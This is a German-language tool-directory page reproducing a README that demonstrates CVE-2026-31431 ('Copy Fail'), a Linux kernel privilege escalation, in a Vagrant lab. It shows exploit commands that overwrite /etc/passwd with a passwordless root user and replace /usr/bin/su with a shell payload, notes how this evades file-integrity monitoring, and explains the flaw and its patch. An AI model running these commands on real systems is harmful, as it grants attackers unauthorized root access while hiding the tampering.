Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — A demo and explanation of CVE-2026-31431 | Kitploit
Tools/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

A demo and explanation of CVE-2026-31431

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 2 MonatenNoch nicht geprüft

CVE-2026-31431 CopyFail – Lokale Privilegieneskalation unter Linux

Eine Demonstration und Erklärung von CVE-2026-31431, der Schwachstelle zur lokalen Privilegieneskalation im Linux-Kernel namens Copy Fail. Die Schwachstelle ermöglicht es, dass Daten in Dateien, die mit Leserechten geöffnet wurden, im Page Cache überschrieben werden können.

Dieses Repository dient ausschließlich Bildungszwecken und veranschaulicht die Schwachstelle in einer kontrollierten Umgebung. Die enthaltenen Dateien sind:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Einleitung

Die Schwachstelle namens Copy Fail ist in Linux-Kernels von 2017 bis 2026 aufgrund eines logischen Fehlers in algif_aead vorhanden. Ihr wurde die CVE-Nummer CVE-2026-31431 mit einem CVSS-Score von 7,8 zugewiesen, was zu einer hohen Schweregradeinstufung führt. Der Exploit ist deterministisch und kann herkömmliche Tools zur Dateiintegritätsüberwachung umgehen.

Proof-of-Concepts wurden in verschiedenen Sprachen veröffentlicht, darunter C, Python und Go. Für diese Demonstration wird jedoch Python verwendet und erfordert Python-Version 3.10 oder höher. Dieser Exploit erfordert die lokale Codeausführung als unprivilegierter Benutzer und kann zur lokalen Privilegieneskalation verwendet werden.

Die folgenden Abschnitte sind:

  • Ausnutzung: Demonstrationen des Exploits und wie er genutzt werden kann, um Root-Rechte zu erlangen.
  • Hinweis zur Erkennung der Ausnutzung: Eine Erklärung, warum dieser Exploit mit herkömmlichen Tools zur Dateiintegritätsüberwachung schwer zu erkennen ist.
  • Schwachstelle: Ein Link zum Commit, der die Schwachstelle eingeführt hat, und eine Erklärung des Problems.
  • Patch: Ein Link zum Commit, der die Schwachstelle behoben hat, und eine Erklärung der Korrektur.
  • Weitere Ressourcen: Eine Liste von Ressourcen für weiterführende Lektüre und Implementierungen des Exploits in verschiedenen Sprachen.

Ausnutzung

Setup

Stellen Sie sicher, dass Vagrant und QEMU installiert sind. Klonen Sie dann dieses Repository und navigieren Sie zum Projektverzeichnis.

root@kitploit:~
vagrant up
vagrant ssh

Innerhalb der VM können wir die Grenzen unserer Fähigkeiten testen.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Wir sind offensichtlich in unseren Fähigkeiten eingeschränkt, können aber die Schwachstelle nutzen, um Privilegien zu eskalieren.

Ausnutzung Demo 1: Den Exploit verstehen

Um die Schwachstelle zu verstehen, überschreiben wir eine Dummy-Datei und sehen, was passiert.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Wir haben eine Datei mit drei Zeilen. Die erste Zeile ist 6 Bytes lang (Zeilenumbruch eingeschlossen), die zweite Zeile ist 2 Bytes und die dritte Zeile ist ein einzelnes Byte. Dies ist wichtig, da der Exploit Daten in 4-Byte-Blöcken überschreibt und wir den Payload auffüllen, um ihn auszufüllen.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Wir können sehen, dass wir die ersten 8 Bytes der Datei durch unseren Payload ersetzt haben. Es gibt zwei Zeichen, die vorhanden, aber nicht druckbar sind. Öffnen Sie die Datei in nano, um es zu überprüfen. Aber das ist nicht allzu aufregend, also schreiben wir nun in Dateien, für die wir keine Schreibberechtigung haben.

Ausnutzung Demo 2: Das Root-Passwort entfernen

Wir können den Inhalt von /etc/passwd überschreiben, um einen Benutzer mit Root-Rechten, aber ohne Passwort hinzuzufügen.

root@kitploit:~
cat /etc/passwd

Die erste Zeile enthält den Root-Benutzer und besteht aus 8 Gruppen zu je 4 Zeichen (einschließlich Zeilenumbruch). Sie ist wie folgt formatiert: root:x:0:0:root:/root:/bin/bash, und die Werte beziehen sich auf Benutzername, Passwort, UID, GID, Home-Verzeichnis, Shell.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Wir haben einen neuen Benutzer hackd mit UID 0 und GID 0 hinzugefügt, was bedeutet, dass er Root-Rechte hat. Das Passwortfeld ist leer, sodass wir uns ohne Passwort anmelden können.

root@kitploit:~
su hackd
id
cat /etc/shadow

Ausnutzung Demo 3: Überschreiben einer ausführbaren Datei

Im ursprünglichen Exploit wird die Binärdatei /usr/bin/su mit Anweisungen zur Ausführung einer Shell überschrieben, sodass der Angreifer beim Ausführen von su Root-Rechte erlangen kann. Wir können diesen Exploit nachbilden, indem wir /usr/bin/su mit dem ursprünglichen Payload aus einer Datei anvisieren. Beachten Sie, dass dies die su-Binärdatei in diesem Page Cache zerstört.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Mit dem eingespielten Payload können wir su ausführen und Root-Rechte erlangen. Dies öffnet eine Shell mit Benutzer-ID 0, was normalerweise der Root-Benutzer ist. Falls die obige Demo durchgeführt wurde, wäre es der von uns erstellte Benutzer hackd. Dieser Exploit würde eine Shell öffnen, selbst wenn der Benutzer root ein Passwort hat.

root@kitploit:~
su
id

Hinweis zur Erkennung der Ausnutzung

Dieser Exploit modifiziert nicht die Datei auf der Festplatte, sondern den Page-Cache-Zustand. Infolgedessen erkennen herkömmliche Tools zur Dateiintegritätsüberwachung, die Änderungen an Dateien auf der Festplatte prüfen, diesen Exploit nicht.

Um dies zu demonstrieren, führen Sie den/die obigen Exploit(s) aus und überprüfen Sie nach einem Neustart der VM den Inhalt der Zieldatei.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Schwachstelle

Die folgenden Komponenten werden im Exploit verwendet:

  1. splice
    • Übergibt Daten zwischen Dateideskriptoren ohne Kopieren
    • Das Ändern einer gespleißten Nachricht modifiziert auch den Page Cache
  2. recvmsg
    • Empfängt gepipte Informationen und verschiebt Daten in den Puffer für kryptografische Operationen
    • Eingaben AD und CT werden kopiert, TAG wird per Referenz übergeben AD||CT||TAG
  3. authensc
    • Es wird angenommen, dass nur AD und CT modifiziert werden, aber aythensc bricht diese Annahme
    • AD werden in seqno_hi und seqno_lo aufgeteilt und authensc tauscht ihre Reihenfolge an Ort und Stelle, indem es sie nach TAG kopiert
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • Diese Sequenz wird an die Referenzposition kopiert

Der Commit, der die In-Place-Optimierung ermöglichte, die diese Schwachstelle schuf:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Patch

Der Patch wurde ohne öffentliche Ankündigungen erstellt und entfernt die Funktionalität der In-Place-Operation in algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Weitere Ressourcen

Weiterlesen:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Python-Implementierungen

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

C-Implementierungen

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Go-Implementierungen

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
Tool herunterladen